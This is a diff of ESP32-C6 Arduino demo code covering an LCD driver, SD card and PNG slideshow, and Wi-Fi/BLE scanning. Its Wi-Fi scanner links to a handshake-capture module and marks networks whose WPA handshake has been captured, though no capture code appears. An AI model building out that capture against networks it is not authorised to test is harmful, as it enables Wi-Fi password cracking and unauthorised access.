@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
#include "Arduino.h"
|
||||
#include <cstring>
|
||||
#include "Display_ST7789.h"
|
||||
#include "SD.h"
|
||||
#include "FS.h"
|
||||
|
||||
// Digital I/O used
|
||||
#define SD_CS 4 // SD_D3:
|
||||
|
||||
extern uint16_t SDCard_Size;
|
||||
extern uint16_t Flash_Size;
|
||||
|
||||
bool SD_Init();
|
||||
void Flash_test();
|
||||
|
||||
bool File_Search(const char* directory, const char* fileName);
|
||||
uint16_t Folder_retrieval(const char* directory, const char* fileExtension, char File_Name[][100],uint16_t maxFiles);
|
||||
void remove_file_extension(char *file_name);
|
||||
@@ -0,0 +1,116 @@
|
||||
#include "WiFi_Scanner.h"
|
||||
|
||||
#include <WiFi.h>
|
||||
|
||||
#include "LVGL_Driver.h"
|
||||
#include "HandshakeCapture.h"
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr unsigned long kScanIntervalMs = 15000;
|
||||
constexpr int kMaxVisibleNetworks = 20;
|
||||
|
||||
unsigned long last_scan_ms = 0;
|
||||
|
||||
void buildNetworkList(char *buffer, size_t buffer_len, int count)
|
||||
{
|
||||
buffer[0] = '\0';
|
||||
|
||||
if (count <= 0) {
|
||||
snprintf(buffer, buffer_len, "No networks found");
|
||||
return;
|
||||
}
|
||||
|
||||
int visible = count < kMaxVisibleNetworks ? count : kMaxVisibleNetworks;
|
||||
size_t used = 0;
|
||||
for (int i = 0; i < visible; ++i) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
if (ssid.isEmpty()) {
|
||||
ssid = "<hidden>";
|
||||
}
|
||||
|
||||
int written = snprintf(
|
||||
buffer + used,
|
||||
buffer_len - used,
|
||||
"%02d. %s\n",
|
||||
i + 1,
|
||||
ssid.c_str()
|
||||
);
|
||||
|
||||
if (written < 0 || static_cast<size_t>(written) >= buffer_len - used) {
|
||||
buffer[buffer_len - 1] = '\0';
|
||||
return;
|
||||
}
|
||||
|
||||
used += static_cast<size_t>(written);
|
||||
}
|
||||
|
||||
if (count > visible && used < buffer_len) {
|
||||
snprintf(buffer + used, buffer_len - used, "...and %d more", count - visible);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void WiFiScanner_Init(void)
|
||||
{
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect(false, true);
|
||||
WiFi.setSleep(false);
|
||||
}
|
||||
|
||||
void WiFiScanner_Refresh(void)
|
||||
{
|
||||
Ui_SetWifiStatus("Scanning...");
|
||||
Ui_ClearNetworkList();
|
||||
|
||||
// Perform scan and sort by RSSI
|
||||
scanNetworksSortedByRSSI();
|
||||
|
||||
// Determine how many networks were found
|
||||
int count = 0;
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
count++;
|
||||
}
|
||||
|
||||
static char status_text[64];
|
||||
if (count <= 0) {
|
||||
snprintf(status_text, sizeof(status_text), "No networks found");
|
||||
Ui_SetWifiStatus(status_text);
|
||||
WiFi.scanDelete();
|
||||
last_scan_ms = millis();
|
||||
return;
|
||||
} else {
|
||||
snprintf(status_text, sizeof(status_text), "%d network%s found", count, count == 1 ? "" : "s");
|
||||
}
|
||||
|
||||
// Add each network to UI
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[64];
|
||||
snprintf(line, sizeof(line), "%02d. %s (%d) ch %d %s",
|
||||
i + 1,
|
||||
networks[i].ssid.c_str(),
|
||||
networks[i].rssi,
|
||||
networks[i].ch,
|
||||
networks[i].encryption.c_str());
|
||||
Ui_AddNetwork(line, i);
|
||||
// Set color based on handshake captured status
|
||||
if (networks[i].handshake_captured) {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_RED));
|
||||
} else {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREEN));
|
||||
}
|
||||
}
|
||||
|
||||
Ui_SetWifiStatus(status_text);
|
||||
WiFi.scanDelete();
|
||||
last_scan_ms = millis();
|
||||
}
|
||||
|
||||
void WiFiScanner_Loop(void)
|
||||
{
|
||||
if (millis() - last_scan_ms >= kScanIntervalMs) {
|
||||
WiFiScanner_Refresh();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
void WiFiScanner_Init(void);
|
||||
void WiFiScanner_Refresh(void);
|
||||
void WiFiScanner_Loop(void);
|
||||
@@ -0,0 +1,79 @@
|
||||
#include "Wireless.h"
|
||||
|
||||
|
||||
bool WIFI_Connection = 0;
|
||||
uint8_t WIFI_NUM = 0;
|
||||
uint8_t BLE_NUM = 0;
|
||||
bool Scan_finish = 0;
|
||||
int wifi_scan_number()
|
||||
{
|
||||
printf("/**********WiFi Test**********/\r\n");
|
||||
// Set WiFi to station mode and disconnect from an AP if it was previously connected.
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.setSleep(true);
|
||||
// WiFi.scanNetworks will return the number of networks found.
|
||||
int count = WiFi.scanNetworks();
|
||||
if (count == 0)
|
||||
{
|
||||
printf("No WIFI device was scanned\r\n");
|
||||
}
|
||||
else{
|
||||
printf("Scanned %d Wi-Fi devices\r\n",count);
|
||||
}
|
||||
|
||||
// Delete the scan result to free memory for code below.
|
||||
WiFi.disconnect(true);
|
||||
WiFi.scanDelete();
|
||||
WiFi.mode(WIFI_OFF);
|
||||
vTaskDelay(100);
|
||||
printf("/*******WiFi Test Over********/\r\n\r\n");
|
||||
return count;
|
||||
}
|
||||
int ble_scan_number()
|
||||
{
|
||||
printf("/**********BLE Test**********/\r\n");
|
||||
BLEDevice::init("ESP32");
|
||||
BLEScan* pBLEScan = BLEDevice::getScan();
|
||||
pBLEScan->setActiveScan(true);
|
||||
|
||||
BLEScanResults* foundDevices = pBLEScan->start(5);
|
||||
int count = foundDevices->getCount();
|
||||
if (count == 0)
|
||||
{
|
||||
printf("No Bluetooth device was scanned\r\n");
|
||||
}
|
||||
else{
|
||||
printf("Scanned %d Bluetooth devices\r\n",count);
|
||||
}
|
||||
pBLEScan->stop();
|
||||
pBLEScan->clearResults();
|
||||
BLEDevice::deinit(true);
|
||||
vTaskDelay(100);
|
||||
printf("/**********BLE Test Over**********/\r\n\r\n");
|
||||
return count;
|
||||
}
|
||||
extern char buffer[128]; /* Make sure buffer is enough for `sprintf` */
|
||||
void Wireless_Test1(){
|
||||
BLE_NUM = ble_scan_number(); // !!! Please note that continuing to use Bluetooth will result in allocation failure due to RAM usage, so pay attention to RAM usage when Bluetooth is turned on
|
||||
WIFI_NUM = wifi_scan_number();
|
||||
Scan_finish = 1;
|
||||
}
|
||||
|
||||
void WirelessScanTask(void *parameter) {
|
||||
BLE_NUM = ble_scan_number(); // !!! Please note that continuing to use Bluetooth will result in allocation failure due to RAM usage, so pay attention to RAM usage when Bluetooth is turned on
|
||||
WIFI_NUM = wifi_scan_number();
|
||||
Scan_finish = 1;
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
void Wireless_Test2(){
|
||||
xTaskCreatePinnedToCore(
|
||||
WirelessScanTask,
|
||||
"WirelessScanTask",
|
||||
4096,
|
||||
NULL,
|
||||
2,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include "WiFi.h"
|
||||
#include <BLEDevice.h>
|
||||
#include <BLEScan.h>
|
||||
|
||||
extern bool WIFI_Connection;
|
||||
extern uint8_t WIFI_NUM;
|
||||
extern uint8_t BLE_NUM;
|
||||
extern bool Scan_finish;
|
||||
|
||||
int wifi_scan_number();
|
||||
int ble_scan_number();
|
||||
void Wireless_Test1();
|
||||
void Wireless_Test2();
|
||||
@@ -0,0 +1,245 @@
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
#define SPI_WRITE(_dat) SPI.transfer(_dat)
|
||||
#define SPI_WRITE_Word(_dat) SPI.transfer16(_dat)
|
||||
#define SPI_WRITE_nByte(_SetData,_ReadData,_Size) SPI.transferBytes(_SetData,_ReadData,_Size)
|
||||
void SPI_Init()
|
||||
{
|
||||
SPI.begin(EXAMPLE_PIN_NUM_SCLK,EXAMPLE_PIN_NUM_MISO,EXAMPLE_PIN_NUM_MOSI);
|
||||
}
|
||||
|
||||
void LCD_WriteCommand(uint8_t Cmd)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW);
|
||||
SPI_WRITE(Cmd);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
void LCD_WriteData(uint8_t Data)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_WriteData_Word(uint16_t Data)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE_Word(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
void LCD_WriteData_nbyte(uint8_t* SetData,uint8_t* ReadData,uint32_t Size)
|
||||
{
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE_nByte(SetData, ReadData, Size);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_Reset(void)
|
||||
{
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
delay(50);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_RST, LOW);
|
||||
delay(50);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_RST, HIGH);
|
||||
delay(50);
|
||||
}
|
||||
void LCD_Init(void)
|
||||
{
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_CS, OUTPUT);
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_DC, OUTPUT);
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_RST, OUTPUT);
|
||||
Backlight_Init();
|
||||
SPI_Init();
|
||||
|
||||
LCD_Reset();
|
||||
//************* Start Initial Sequence **********//
|
||||
LCD_WriteCommand(0x11);
|
||||
delay(120);
|
||||
LCD_WriteCommand(0x36);
|
||||
if (HORIZONTAL)
|
||||
LCD_WriteData(0x00);
|
||||
else
|
||||
LCD_WriteData(0x70);
|
||||
|
||||
LCD_WriteCommand(0x3A);
|
||||
LCD_WriteData(0x05);
|
||||
|
||||
LCD_WriteCommand(0xB0);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0xE8);
|
||||
|
||||
LCD_WriteCommand(0xB2);
|
||||
LCD_WriteData(0x0C);
|
||||
LCD_WriteData(0x0C);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x33);
|
||||
|
||||
LCD_WriteCommand(0xB7);
|
||||
LCD_WriteData(0x35);
|
||||
|
||||
LCD_WriteCommand(0xBB);
|
||||
LCD_WriteData(0x35);
|
||||
|
||||
LCD_WriteCommand(0xC0);
|
||||
LCD_WriteData(0x2C);
|
||||
|
||||
LCD_WriteCommand(0xC2);
|
||||
LCD_WriteData(0x01);
|
||||
|
||||
LCD_WriteCommand(0xC3);
|
||||
LCD_WriteData(0x13);
|
||||
|
||||
LCD_WriteCommand(0xC4);
|
||||
LCD_WriteData(0x20);
|
||||
|
||||
LCD_WriteCommand(0xC6);
|
||||
LCD_WriteData(0x0F);
|
||||
|
||||
LCD_WriteCommand(0xD0);
|
||||
LCD_WriteData(0xA4);
|
||||
LCD_WriteData(0xA1);
|
||||
|
||||
LCD_WriteCommand(0xD6);
|
||||
LCD_WriteData(0xA1);
|
||||
|
||||
LCD_WriteCommand(0xE0);
|
||||
LCD_WriteData(0xF0);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x05);
|
||||
LCD_WriteData(0x29);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x3E);
|
||||
LCD_WriteData(0x38);
|
||||
LCD_WriteData(0x12);
|
||||
LCD_WriteData(0x12);
|
||||
LCD_WriteData(0x28);
|
||||
LCD_WriteData(0x30);
|
||||
|
||||
LCD_WriteCommand(0xE1);
|
||||
LCD_WriteData(0xF0);
|
||||
LCD_WriteData(0x07);
|
||||
LCD_WriteData(0x0A);
|
||||
LCD_WriteData(0x0D);
|
||||
LCD_WriteData(0x0B);
|
||||
LCD_WriteData(0x07);
|
||||
LCD_WriteData(0x28);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x3E);
|
||||
LCD_WriteData(0x36);
|
||||
LCD_WriteData(0x14);
|
||||
LCD_WriteData(0x14);
|
||||
LCD_WriteData(0x29);
|
||||
LCD_WriteData(0x32);
|
||||
|
||||
LCD_WriteCommand(0x21);
|
||||
|
||||
LCD_WriteCommand(0x11);
|
||||
delay(120);
|
||||
LCD_WriteCommand(0x29);
|
||||
}
|
||||
/******************************************************************************
|
||||
function: Set the cursor position
|
||||
parameter :
|
||||
Xstart: Start uint16_t x coordinate
|
||||
Ystart: Start uint16_t y coordinate
|
||||
Xend : End uint16_t coordinates
|
||||
Yend : End uint16_t coordinatesen
|
||||
******************************************************************************/
|
||||
void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend)
|
||||
{
|
||||
if (HORIZONTAL) {
|
||||
// set the X coordinates
|
||||
LCD_WriteCommand(0x2A);
|
||||
LCD_WriteData(Xstart >> 8);
|
||||
LCD_WriteData(Xstart + Offset_X);
|
||||
LCD_WriteData(Xend >> 8);
|
||||
LCD_WriteData(Xend + Offset_X);
|
||||
|
||||
// set the Y coordinates
|
||||
LCD_WriteCommand(0x2B);
|
||||
LCD_WriteData(Ystart >> 8);
|
||||
LCD_WriteData(Ystart + Offset_Y);
|
||||
LCD_WriteData(Yend >> 8);
|
||||
LCD_WriteData(Yend + Offset_Y);
|
||||
}
|
||||
else {
|
||||
// set the X coordinates
|
||||
LCD_WriteCommand(0x2A);
|
||||
LCD_WriteData(Ystart >> 8);
|
||||
LCD_WriteData(Ystart + Offset_Y);
|
||||
LCD_WriteData(Yend >> 8);
|
||||
LCD_WriteData(Yend + Offset_Y);
|
||||
// set the Y coordinates
|
||||
LCD_WriteCommand(0x2B);
|
||||
LCD_WriteData(Xstart >> 8);
|
||||
LCD_WriteData(Xstart + Offset_X);
|
||||
LCD_WriteData(Xend >> 8);
|
||||
LCD_WriteData(Xend + Offset_X);
|
||||
}
|
||||
LCD_WriteCommand(0x2C);
|
||||
}
|
||||
/******************************************************************************
|
||||
function: Refresh the image in an area
|
||||
parameter :
|
||||
Xstart: Start uint16_t x coordinate
|
||||
Ystart: Start uint16_t y coordinate
|
||||
Xend : End uint16_t coordinates
|
||||
Yend : End uint16_t coordinates
|
||||
color : Set the color
|
||||
******************************************************************************/
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend,uint16_t* color)
|
||||
{
|
||||
// uint16_t i,j;
|
||||
// LCD_SetCursor(Xstart, Ystart, Xend,Yend);
|
||||
// uint16_t Show_Width = Xend - Xstart + 1;
|
||||
// uint16_t Show_Height = Yend - Ystart + 1;
|
||||
// for(i = 0; i < Show_Height; i++){
|
||||
// for(j = 0; j < Show_Width; j++){
|
||||
// LCD_WriteData_Word(color[(i*(Show_Width))+j]);
|
||||
// }
|
||||
// }
|
||||
uint16_t Show_Width = Xend - Xstart + 1;
|
||||
uint16_t Show_Height = Yend - Ystart + 1;
|
||||
uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t);
|
||||
uint8_t Read_D[numBytes];
|
||||
LCD_SetCursor(Xstart, Ystart, Xend, Yend);
|
||||
LCD_WriteData_nbyte((uint8_t*)color, Read_D, numBytes);
|
||||
}
|
||||
// backlight
|
||||
void Backlight_Init(void)
|
||||
{
|
||||
ledcAttach(EXAMPLE_PIN_NUM_BK_LIGHT, Frequency, Resolution);
|
||||
ledcWrite(EXAMPLE_PIN_NUM_BK_LIGHT, 100);
|
||||
}
|
||||
|
||||
void Set_Backlight(uint8_t Light) //
|
||||
{
|
||||
|
||||
if(Light > 100 || Light < 0)
|
||||
printf("Set Backlight parameters in the range of 0 to 100 \r\n");
|
||||
else{
|
||||
uint32_t Backlight = Light*10;
|
||||
ledcWrite(EXAMPLE_PIN_NUM_BK_LIGHT, Backlight);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
#include <Arduino.h>
|
||||
#include <SPI.h>
|
||||
#define LCD_WIDTH 172 //LCD width
|
||||
#define LCD_HEIGHT 320 //LCD height
|
||||
|
||||
#define SPIFreq 80000000
|
||||
#define EXAMPLE_PIN_NUM_MISO 5
|
||||
#define EXAMPLE_PIN_NUM_MOSI 6
|
||||
#define EXAMPLE_PIN_NUM_SCLK 7
|
||||
#define EXAMPLE_PIN_NUM_LCD_CS 14
|
||||
#define EXAMPLE_PIN_NUM_LCD_DC 15
|
||||
#define EXAMPLE_PIN_NUM_LCD_RST 21
|
||||
#define EXAMPLE_PIN_NUM_BK_LIGHT 22
|
||||
#define Frequency 1000
|
||||
#define Resolution 10
|
||||
|
||||
#define VERTICAL 0
|
||||
#define HORIZONTAL 1
|
||||
|
||||
#define Offset_X 34
|
||||
#define Offset_Y 0
|
||||
|
||||
void SPI_Init();
|
||||
|
||||
void LCD_Init(void);
|
||||
void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend);
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend,uint16_t* color);
|
||||
|
||||
void Backlight_Init(void);
|
||||
void Set_Backlight(uint8_t Light);
|
||||
124
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Image/LCD_Image.cpp
Normal file
124
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Image/LCD_Image.cpp
Normal file
@@ -0,0 +1,124 @@
|
||||
#include "LCD_Image.h"
|
||||
|
||||
PNG png;
|
||||
File Image_file;
|
||||
|
||||
uint16_t Image_CNT;
|
||||
char SD_Image_Name[100][100] ;
|
||||
char File_Image_Name[100][100] ;
|
||||
|
||||
int16_t xpos = 0;
|
||||
int16_t ypos = 0;
|
||||
void * pngOpen(const char *filePath, int32_t *size) {
|
||||
Image_file = SD.open(filePath);
|
||||
*size = Image_file.size();
|
||||
return &Image_file;
|
||||
}
|
||||
|
||||
void pngClose(void *handle) {
|
||||
File Image_file = *((File*)handle);
|
||||
if (Image_file) Image_file.close();
|
||||
}
|
||||
|
||||
int32_t pngRead(PNGFILE *page, uint8_t *buffer, int32_t length) {
|
||||
if (!Image_file) return 0;
|
||||
page = page; // Avoid warning
|
||||
return Image_file.read(buffer, length);
|
||||
}
|
||||
|
||||
int32_t pngSeek(PNGFILE *page, int32_t position) {
|
||||
if (!Image_file) return 0;
|
||||
page = page; // Avoid warning
|
||||
return Image_file.seek(position);
|
||||
}
|
||||
//=========================================v==========================================
|
||||
// pngDraw
|
||||
//====================================================================================
|
||||
// This next function will be called during decoding of the png file to
|
||||
// render each image line to the TFT. If you use a different TFT library
|
||||
// you will need to adapt this function to suit.
|
||||
// Callback function to draw pixels to the display
|
||||
static uint16_t lineBuffer[MAX_IMAGE_WIDTH];
|
||||
void pngDraw(PNGDRAW *pDraw) {
|
||||
png.getLineAsRGB565(pDraw, lineBuffer, PNG_RGB565_BIG_ENDIAN, 0xffffffff);
|
||||
uint32_t size = pDraw->iWidth;
|
||||
for (size_t i = 0; i < size; i++) {
|
||||
lineBuffer[i] = (((lineBuffer[i] >> 8) & 0xFF) | ((lineBuffer[i] << 8) & 0xFF00)); // 所有数据修正
|
||||
}
|
||||
LCD_addWindow(xpos, pDraw->y, xpos + pDraw->iWidth, ypos + pDraw->y + 1,lineBuffer); // x_end End index on x-axis (x_end not included)
|
||||
|
||||
}
|
||||
/////////////////////////////////////////////////////////////////
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
void Search_Image(const char* directory, const char* fileExtension) {
|
||||
Image_CNT = Folder_retrieval(directory,fileExtension,SD_Image_Name,100);
|
||||
if(Image_CNT) {
|
||||
for (int i = 0; i < Image_CNT; i++) {
|
||||
strcpy(File_Image_Name[i], SD_Image_Name[i]);
|
||||
remove_file_extension(File_Image_Name[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
void Show_Image(const char * filePath)
|
||||
{
|
||||
printf("Currently display picture %s\r\n",filePath);
|
||||
int16_t ret = png.open(filePath, pngOpen, pngClose, pngRead, pngSeek, pngDraw);
|
||||
if (ret == PNG_SUCCESS) {
|
||||
printf("image specs: (%d x %d), %d bpp, pixel type: %d\r\n", png.getWidth(), png.getHeight(), png.getBpp(), png.getPixelType());
|
||||
|
||||
uint32_t dt = millis();
|
||||
if (png.getWidth() > MAX_IMAGE_WIDTH) {
|
||||
printf("Image too wide for allocated line buffer size!\r\n");
|
||||
}
|
||||
else {
|
||||
ret = png.decode(NULL, 0);
|
||||
png.close();
|
||||
}
|
||||
printf("%d ms\r\n",millis()-dt);
|
||||
}
|
||||
}
|
||||
|
||||
void Display_Image(const char* directory, const char* fileExtension, uint16_t ID)
|
||||
{
|
||||
Search_Image(directory,fileExtension);
|
||||
if(Image_CNT) {
|
||||
String FilePath;
|
||||
if (String(directory) == "/") { // Handle the case when the directory is the root
|
||||
FilePath = String(directory) + SD_Image_Name[ID];
|
||||
} else {
|
||||
FilePath = String(directory) + "/" + SD_Image_Name[ID];
|
||||
}
|
||||
const char* filePathCStr = FilePath.c_str(); // Convert String to c_str() for Show_Image function
|
||||
printf("Show : %s \r\n", filePathCStr); // Print file path for debugging
|
||||
Show_Image(filePathCStr); // Show the image using the file path
|
||||
}
|
||||
else
|
||||
printf("No files with extension '%s' found in directory: %s\r\n", fileExtension, directory);
|
||||
|
||||
}
|
||||
uint16_t Now_Image = 0;
|
||||
void Image_Next(const char* directory, const char* fileExtension)
|
||||
{
|
||||
if(!digitalRead(BOOT_KEY_PIN)){
|
||||
while(!digitalRead(BOOT_KEY_PIN));
|
||||
Now_Image ++;
|
||||
if(Now_Image == Image_CNT)
|
||||
Now_Image = 0;
|
||||
Display_Image(directory,fileExtension,Now_Image);
|
||||
}
|
||||
}
|
||||
void Image_Next_Loop(const char* directory, const char* fileExtension,uint32_t NextTime)
|
||||
{
|
||||
static uint32_t NextTime_Now=0;
|
||||
NextTime_Now++;
|
||||
if(NextTime_Now == NextTime)
|
||||
{
|
||||
NextTime_Now = 0;
|
||||
Now_Image ++;
|
||||
if(Now_Image == Image_CNT)
|
||||
Now_Image = 0;
|
||||
Display_Image(directory,fileExtension,Now_Image);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
|
||||
#include <PNGdec.h>
|
||||
#include "SD_Card.h"
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
#define BOOT_KEY_PIN 9
|
||||
#define MAX_IMAGE_WIDTH 172 // Adjust for your images
|
||||
|
||||
void Search_Image(const char* directory, const char* fileExtension);
|
||||
void Show_Image(const char * filePath);
|
||||
void Display_Image(const char* directory, const char* fileExtension, uint16_t ID);
|
||||
void Image_Next(const char* directory, const char* fileExtension);
|
||||
void Image_Next_Loop(const char* directory, const char* fileExtension,uint32_t NextTime);
|
||||
@@ -0,0 +1,19 @@
|
||||
#include "SD_Card.h"
|
||||
#include "Display_ST7789.h"
|
||||
#include "LCD_Image.h"
|
||||
|
||||
void setup()
|
||||
{
|
||||
Flash_test();
|
||||
LCD_Init();
|
||||
SD_Init();
|
||||
Display_Image("/",".png", 0);
|
||||
pinMode(BOOT_KEY_PIN, INPUT);
|
||||
|
||||
}
|
||||
|
||||
void loop()
|
||||
{
|
||||
Image_Next_Loop("/",".png",300);
|
||||
delay(5);
|
||||
}
|
||||
113
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Image/SD_Card.cpp
Normal file
113
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Image/SD_Card.cpp
Normal file
@@ -0,0 +1,113 @@
|
||||
#include "SD_Card.h"
|
||||
|
||||
uint16_t SDCard_Size;
|
||||
uint16_t Flash_Size;
|
||||
|
||||
void SD_Init() {
|
||||
// SD
|
||||
if (SD.begin(SD_CS, SPI, 80000000, "/sd", 5, true)) {
|
||||
printf("SD card initialization successful!\r\n");
|
||||
} else {
|
||||
printf("SD card initialization failed!\r\n");
|
||||
}
|
||||
uint8_t cardType = SD.cardType();
|
||||
if(cardType == CARD_NONE){
|
||||
printf("No SD card attached\r\n");
|
||||
return;
|
||||
}
|
||||
else{
|
||||
printf("SD Card Type: ");
|
||||
if(cardType == CARD_MMC){
|
||||
printf("MMC\r\n");
|
||||
} else if(cardType == CARD_SD){
|
||||
printf("SDSC\r\n");
|
||||
} else if(cardType == CARD_SDHC){
|
||||
printf("SDHC\r\n");
|
||||
} else {
|
||||
printf("UNKNOWN\r\n");
|
||||
}
|
||||
uint64_t totalBytes = SD.totalBytes();
|
||||
uint64_t usedBytes = SD.usedBytes();
|
||||
SDCard_Size = totalBytes/(1024*1024);
|
||||
printf("Total space: %llu\n", totalBytes);
|
||||
printf("Used space: %llu\n", usedBytes);
|
||||
printf("Free space: %llu\n", totalBytes - usedBytes);
|
||||
}
|
||||
}
|
||||
bool File_Search(const char* directory, const char* fileName)
|
||||
{
|
||||
File Path = SD.open(directory);
|
||||
if (!Path) {
|
||||
printf("Path: <%s> does not exist\r\n",directory);
|
||||
return false;
|
||||
}
|
||||
File file = Path.openNextFile();
|
||||
while (file) {
|
||||
if (strcmp(file.name(), fileName) == 0) {
|
||||
if (strcmp(directory, "/") == 0)
|
||||
printf("File '%s%s' found in root directory.\r\n",directory,fileName);
|
||||
else
|
||||
printf("File '%s/%s' found in root directory.\r\n",directory,fileName);
|
||||
Path.close();
|
||||
return true;
|
||||
}
|
||||
file = Path.openNextFile();
|
||||
}
|
||||
if (strcmp(directory, "/") == 0)
|
||||
printf("File '%s%s' not found in root directory.\r\n",directory,fileName);
|
||||
else
|
||||
printf("File '%s/%s' not found in root directory.\r\n",directory,fileName);
|
||||
Path.close();
|
||||
return false;
|
||||
}
|
||||
uint16_t Folder_retrieval(const char* directory, const char* fileExtension, char File_Name[][100],uint16_t maxFiles)
|
||||
{
|
||||
File Path = SD.open(directory);
|
||||
if (!Path) {
|
||||
printf("Path: <%s> does not exist\r\n",directory);
|
||||
return false;
|
||||
}
|
||||
|
||||
uint16_t fileCount = 0;
|
||||
char filePath[100];
|
||||
File file = Path.openNextFile();
|
||||
while (file && fileCount < maxFiles) {
|
||||
if (!file.isDirectory() && strstr(file.name(), fileExtension)) {
|
||||
strncpy(File_Name[fileCount], file.name(), sizeof(File_Name[fileCount]));
|
||||
if (strcmp(directory, "/") == 0) {
|
||||
snprintf(filePath, 100, "%s%s", directory, file.name());
|
||||
} else {
|
||||
snprintf(filePath, 100, "%s/%s", directory, file.name());
|
||||
}
|
||||
printf("File found: %s\r\n", filePath);
|
||||
fileCount++;
|
||||
}
|
||||
file = Path.openNextFile();
|
||||
}
|
||||
Path.close();
|
||||
if (fileCount > 0) {
|
||||
printf(" %d <%s> files were retrieved\r\n",fileCount,fileExtension);
|
||||
return fileCount;
|
||||
} else {
|
||||
printf("No files with extension '%s' found in directory: %s\r\n", fileExtension, directory);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
void remove_file_extension(char *file_name) {
|
||||
char *last_dot = strrchr(file_name, '.');
|
||||
if (last_dot != NULL) {
|
||||
*last_dot = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
void Flash_test()
|
||||
{
|
||||
printf("/********** RAM Test**********/\r\n");
|
||||
// Get Flash size
|
||||
uint32_t flashSize = ESP.getFlashChipSize();
|
||||
Flash_Size = flashSize/1024/1024;
|
||||
printf("Flash size: %d MB \r\n", flashSize/1024/1024);
|
||||
|
||||
printf("/******* RAM Test Over********/\r\n\r\n");
|
||||
}
|
||||
19
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Image/SD_Card.h
Normal file
19
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Image/SD_Card.h
Normal file
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
#include "Arduino.h"
|
||||
#include <cstring>
|
||||
#include "Display_ST7789.h"
|
||||
#include "SD.h"
|
||||
#include "FS.h"
|
||||
|
||||
// Digital I/O used
|
||||
#define SD_CS 4 // SD_D3:
|
||||
|
||||
